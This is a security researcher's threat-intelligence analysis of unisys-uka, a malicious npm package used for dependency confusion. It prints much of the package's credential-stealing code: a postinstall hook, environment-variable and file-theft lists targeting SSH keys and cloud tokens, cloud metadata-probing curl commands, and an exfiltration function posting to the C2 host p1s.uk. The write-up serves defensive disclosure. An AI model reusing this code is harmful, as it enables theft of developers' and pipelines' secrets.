Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

unisys-uka critical by Paul Newton

unisys-uka - Credential and File Theft RAT

Package using Unisys-style naming. unisys-uka sits in the same namespace as the five recon packages in unisys-core but contains an entirely different, vastly more destructive payload. Version 99.99.1 is an artificially inflated version number designed to win semver resolution against pinned internal packages. index.js is a stub; all malicious logic runs from postinstall.js via the postinstall lifecycle hook. The payload is a four-stage RAT: it harvests targeted environment variables (full values for 25+ credential keyword patterns), reads 40+ specific files across Linux, macOS, and Windows (SSH private keys, AWS credentials, Docker credentials, .npmrc auth tokens, PyPI credentials, Kubernetes service account JWTs, shell history, Chrome Login Data, GCP credential databases, kubeconfig), executes shell reconnaissance commands and probes AWS and GCP IMDS endpoints for IAM role credentials, then exfiltrates the complete payload via HTTPS POST to p1s.uk with an HTTP port-80 fallback. A User-Agent of npm/9 blends the exfiltration traffic with standard npm registry requests. In a CI/CD pipeline a single install yields all pipeline secrets, cloud IAM credentials, npm tokens, Docker credentials, SSH keys, and the Kubernetes service account JWT. The uka suffix likely refers to Unisys Knowledge Architecture.

Package

Name

unisys-uka

Version

99.99.1

Published by

elitevishalorg

Publisher email

vishalkumarrpvv@gmail.com

View on NPM

Threat Actor

Unknown

Tags

#npm #dependency-confusion #credential-theft #file-theft #ssh-key-theft #imds #kubernetes #rat #postinstall #cloud

Architecture and Trigger

The package declares a postinstall lifecycle hook pointing to postinstall.js. index.js is a stub. The payload is structured as four functions — sysInfo(), readFiles(home), runCommands(), and send(data) — called from a single try/catch main block that swallows all errors silently. This architecture ensures that a partial failure in any stage (e.g. a permission error reading a file) does not abort subsequent stages — all four functions run to completion or fail quietly.

package.json — postinstall hook

{
  "name": "unisys-uka",
  "version": "99.99.1",
  "description": "Internal package",
  "scripts": { "postinstall": "node postinstall.js" },
  "author": "",
  "license": "ISC"
}

postinstall.js — main execution block

try {
  const info = sysInfo();                        // env vars, user info, platform details
  const home = info.user?.home || os.homedir() || '';
  info.files = readFiles(home);                  // 40+ specific files including SSH keys
  info.cmds  = runCommands();                    // shell recon + IMDS probes
  send(info);                                    // POST everything to p1s.uk
} catch (_) {}

Stage 1 — Environment Variable Harvesting

sysInfo() iterates all environment variable keys and captures the full value for any key whose lowercased name matches one of 25 credential-related substrings. This is a targeted harvest, not a blanket dump — the attacker receives only high-value variables while keeping the payload size manageable. A second pass always captures a fixed list of well-known environment variables regardless of name matching. The full list of all key names is also sent as env_all_keys, giving the attacker visibility into what is configured even for variables whose values were not captured.

sysInfo() — targeted environment variable capture

// Targeted keywords — full value captured for any matching key name:
const targetedKeywords = [
  'password', 'passwd', 'api', 'auth', 'credential', 'aws', 'gcp', 'azure',
  'npm', 'docker', 'github', 'gitlab', 'ci', 'deploy', 'private', 'database',
  'db_', '_db', 'slack', 'webhook', 'jwt', 'mongo', 'redis', 'postgres',
  'mysql', 'dsn', 'url'
];

// Always captured regardless of name:
const alwaysCaptured = [
  'PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'PWD', 'OLDPWD',
  'CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'JENKINS_URL',
  'CIRCLE_SHA1', 'TRAVIS', 'BUILD_ID'
];

info.env         = interesting;   // full values for matched variables
info.env_all_keys = keys;          // all env var names sent even if values not matched

Stage 2 — File System Theft

readFiles(home) builds a target list across three operating system branches and reads each file, capping at 8KB per file. The Linux/macOS target list includes all three SSH private key formats (RSA, Ed25519, ECDSA), authorized_keys, known_hosts, AWS credentials and config, .npmrc, .pypirc, Docker config.json, .gitconfig, .env, shell history files for both bash and zsh, root's SSH keys and AWS credentials, common .env paths inside containerised apps (/app/.env, /var/app/.env), and the Kubernetes service account JWT at both standard mount paths. macOS adds GCP credential database and application default credentials, Chrome Login Data (saved passwords), and kubeconfig. Windows targets the same credential files under USERPROFILE and APPDATA, Administrator's home directory, IIS .env, and Docker Desktop config. A CWD scan always runs regardless of OS — catching .env, .env.local, .env.production, .env.development, config.json, secrets.json, and .secrets in the project directory where npm install was invoked.

readFiles() — targeted file paths (Linux/macOS subset)

const linuxPaths = [
  '/etc/passwd', '/etc/hostname', '/etc/hosts', '/etc/resolv.conf',
  '/etc/os-release', '/proc/version', '/proc/self/environ',
  '/proc/self/cmdline', '/proc/1/cmdline',
  home + '/.ssh/id_rsa',           // RSA private key
  home + '/.ssh/id_ed25519',        // Ed25519 private key
  home + '/.ssh/id_ecdsa',          // ECDSA private key
  home + '/.ssh/authorized_keys',
  home + '/.ssh/known_hosts',
  home + '/.aws/credentials',       // AWS access + secret keys
  home + '/.aws/config',
  home + '/.npmrc',                 // npm auth tokens
  home + '/.pypirc',                // PyPI credentials
  home + '/.docker/config.json',    // Docker registry credentials
  home + '/.gitconfig',
  home + '/.env',
  home + '/.bash_history', home + '/.zsh_history',
  '/root/.ssh/id_rsa', '/root/.ssh/authorized_keys',
  '/root/.aws/credentials',
  '/app/.env', '/app/.env.local', '/app/.env.production',
  '/var/app/.env', '/etc/environment',
  '/run/secrets/kubernetes.io/serviceaccount/token',
  '/var/run/secrets/kubernetes.io/serviceaccount/token',
];

const macPaths = [
  home + '/.config/gcloud/credentials.db',
  home + '/.config/gcloud/application_default_credentials.json',
  home + '/Library/Application Support/Google/Chrome/Default/Login Data',
  home + '/.kube/config',
];

Stage 3 — Shell Recon and Cloud IMDS Probes

runCommands() executes a list of shell commands using execSync with a 4096-byte output cap per command. Standard recon commands (id, hostname, ip addr, netstat, ps aux, ls ~, ls /, groups, uname -a, df -h, env) build a complete picture of the victim machine. The most dangerous commands are the cloud metadata service probes: unauthenticated requests to the AWS IMDS and GCP metadata endpoints. On an EC2 instance, the IAM endpoint returns the name of the attached instance role; a follow-up request to /latest/meta-data/iam/security-credentials/{role-name} returns temporary AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN — full temporary cloud credentials without any stored secret. The same applies to GCP. The Kubernetes token read duplicates the file-based collection in Stage 2 via shell, ensuring coverage if the file read was permission-blocked. On Windows, equivalent commands (whoami, hostname, ipconfig /all, netstat -ano, set, dir C:\Users) are used.

runCommands() — shell recon and IMDS probes

const targets = [
  ['id',       'id'],
  ['hostname', 'hostname'],
  ['ifconfig', 'ip addr 2>/dev/null || ifconfig 2>/dev/null'],
  ['netstat',  'netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null'],
  ['ps',       'ps aux 2>/dev/null | head -30'],
  ['ls_home',  'ls -la ~ 2>/dev/null'],
  ['ls_root',  'ls -la / 2>/dev/null'],
  ['groups',   'groups 2>/dev/null'],
  ['uname',    'uname -a 2>/dev/null'],
  ['df',       'df -h 2>/dev/null'],
  ['env',      'env 2>/dev/null'],
  // Cloud metadata service probes — return IAM role names and temporary credentials
  ['aws_meta', 'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null || true'],
  ['aws_iam',  'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true'],
  ['gcp_meta', 'curl -sf --max-time 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/ 2>/dev/null || true'],
  ['k8s_token','cat /run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true'],
  ['docker_ps','docker ps 2>/dev/null || true'],
  ['npm_config','npm config list 2>/dev/null | head -20'],
];

Stage 4 — Exfiltration

send(data) POSTs the complete collected payload as JSON to p1s.uk:443/dep-confusion/unisys-uka/full. The User-Agent is set to npm/9 (derived from npm_config_user_agent) to blend the outbound request with standard npm registry traffic. rejectUnauthorized: false allows a self-signed cert on the C2. If the HTTPS request fails for any reason, the error handler fires an identical HTTP request on port 80 — increasing success rate in environments that permit HTTP but block HTTPS, or where the C2's TLS certificate causes a hard failure despite the rejectUnauthorized override. Errors on both channels are silently discarded.

send() — HTTPS primary with HTTP port-80 fallback

function send(data) {
  const body = Buffer.from(JSON.stringify(data));
  const opts = {
    hostname: 'p1s.uk',
    path: '/dep-confusion/' + encodeURIComponent(PKG) + '/full',
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'User-Agent': 'npm/' + (process.env.npm_config_user_agent || '9'),  // blends with npm traffic
    },
    rejectUnauthorized: false,
    timeout: 12000,
  };

  const req = https.request({ ...opts, port: 443 }, () => {});
  req.on('error', () => {
    // HTTP port-80 fallback if HTTPS fails
    const req2 = http.request({ ...opts, port: 80 }, () => {});
    req2.on('error', () => {});
    req2.write(body); req2.end();
  });
  req.write(body); req.end();
}

Indicators of Compromise

Malicious Packages

Package Version Author Notes
unisys-uka 99.99.1 RAT; postinstall hook; four-stage payload: env harvesting, file theft (40+ paths), shell recon, IMDS probes. Likely same threat actor as unisys-core — same C2, same naming namespace, same version strategy.

Domains

Domain Type Context
p1s[.]uk C2 Full payload exfiltration target — receives env vars, file contents, shell command output, and IMDS responses; shared with arlo-meeting-assistant-backend and unisys-core

URLs

URL Context
hxxps://p1s[.]uk/dep-confusion/unisys-uka/full Primary exfiltration endpoint — HTTPS POST with complete RAT payload
hxxp://p1s[.]uk/dep-confusion/unisys-uka/full Fallback exfiltration endpoint — HTTP port 80, fires if HTTPS request fails
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/ AWS IMDS IAM endpoint — probed to obtain temporary EC2 instance role credentials
hxxp://metadata.google.internal/computeMetadata/v1/instance/ GCP metadata endpoint — probed to obtain GCP instance identity and credentials

Targeted File Paths

Path Context
~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa SSH private keys — all three formats targeted; exfiltrated if readable
~/.aws/credentials AWS access key ID and secret access key
~/.npmrc npm auth tokens — may contain _authToken entries for private registries
~/.pypirc PyPI credentials
~/.docker/config.json Docker registry credentials including auths entries
~/.bash_history, ~/.zsh_history Shell history — may contain credentials passed as command-line arguments
/proc/self/environ Process environment block — may contain secrets not present in process.env at install time
/run/secrets/kubernetes.io/serviceaccount/token Kubernetes service account JWT — targeted at both standard K8s mount paths
~/.config/gcloud/credentials.db, ~/.config/gcloud/application_default_credentials.json GCP credentials — targeted on macOS
~/Library/Application Support/Google/Chrome/Default/Login Data Chrome saved passwords SQLite database — targeted on macOS
~/.kube/config kubeconfig — contains cluster credentials and context; targeted on macOS
.env, .env.local, .env.production, .env.development, config.json, secrets.json, .secrets CWD scan — always executed regardless of OS; catches project secrets in the install directory

Environment Variables / Config Paths

Artefact Context
AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN Full values captured — cloud infrastructure access
GITHUB_TOKEN / GITLAB_CI / JENKINS_URL Full values captured — CI/CD pipeline credentials and context
DATABASE_URL / *_DB / DB_* / *MONGO* / *REDIS* / *POSTGRES* / *MYSQL* / *DSN* Full values captured — database connection strings
NPM_TOKEN / *NPM* / *DOCKER* / *WEBHOOK* / *JWT* Full values captured — registry auth tokens, webhook secrets, session tokens
* (all matching 25 credential keyword patterns) Full values exfiltrated for any env var whose name matches a credential keyword; all key names sent regardless